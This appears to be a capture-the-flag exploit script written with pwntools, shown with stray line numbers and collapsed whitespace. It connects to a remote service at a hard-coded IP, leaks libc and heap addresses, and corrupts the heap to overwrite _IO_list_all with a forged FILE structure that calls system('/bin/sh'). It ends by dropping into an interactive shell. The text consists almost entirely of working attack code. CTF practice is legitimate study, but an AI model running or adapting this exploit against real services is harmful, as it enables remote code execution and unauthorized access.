1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import * context.log_level='debug'
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so') sh=remote("124.71.185.75",9999) ogg=[0x4f365,0x4f3c2,0x10a45c]
def config(content): sh.recvuntil('ch> ',timeout=6000) sh.sendline('1') sh.recvuntil('FRAME> ',timeout=6000) sh.send(content)
def m(): payload=p32(0x100)+p32(0x100)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload=payload.ljust(0x150+18,'a') config(payload) payload=p32(0x100)+p32(0x100)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload=payload.ljust(0x60+18,'a') config(payload)
def show(): sh.recvuntil('ch> ') sh.sendline('2')
def rain(): sh.recvuntil('ch> ',timeout=6000) sh.sendline('3')
def free(): payload=p32(20)+p32(20)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') config(payload)
def exp(): for i in range(7): m() payload=p32(0x100)+p32(0x100)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload=payload.ljust(0xe0+18,'a') config(payload) payload=p32(0x100)+p32(0x100)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') config(payload) show() sh.recvuntil('Table: ') libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96 free_hook=libc_base+libc.sym['__free_hook'] print hex(libc_base) rain() payload=p32(20)+p32(20)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload=payload.ljust(0xe0+18,'\x00') config(payload) payload=p32(20)+p32(20)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload=payload.ljust(0xf0+18,'\x00') config(payload) free() free() show() sh.recvuntil("Table: ") heap_addr = u64(sh.recv(4)+"\x00"*4) print hex(heap_addr) rain() payload=p32(0x100)+p32(0x100)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload+=p64(libc_base+libc.sym['_IO_list_all']) payload=payload.ljust(0xf0+18,'a') config(payload) rain() libc.address=libc_base pay=p32(0x100)+p32(0x100)+'\x02'+'\x01' pay+=p32(4) pay=pay.ljust(18,'\x00') pay+=p64(0)*2 pay+= p64(0)*2 pay+= p64(0) pay+= p64((libc.search('/bin/sh').next()-100)/2+1) pay+= p64(0)*2 pay+= p64((libc.search('/bin/sh').next()-100)/2) pay+= p64(0)*12 pay+= p64(2) pay+= p64(3) pay+= p64(0) pay+= p64(0xffffffff) pay+= p64(0)*2 pay+= p64(libc.address+0x3e8360) pay+= p64(libc.sym['system']) pay=pay.ljust(0xf0+18,'a') config(pay) rain() payload=p32(0x100)+p32(0x100)+'\x02'+'\x01' payload+=p32(4) payload=payload.ljust(18,'\x00') payload+=p64(heap_addr) payload=payload.ljust(0xf0+18,'a') config(payload) sh.recvuntil('ch> ') sh.sendline('4') sh.interactive() exp()
|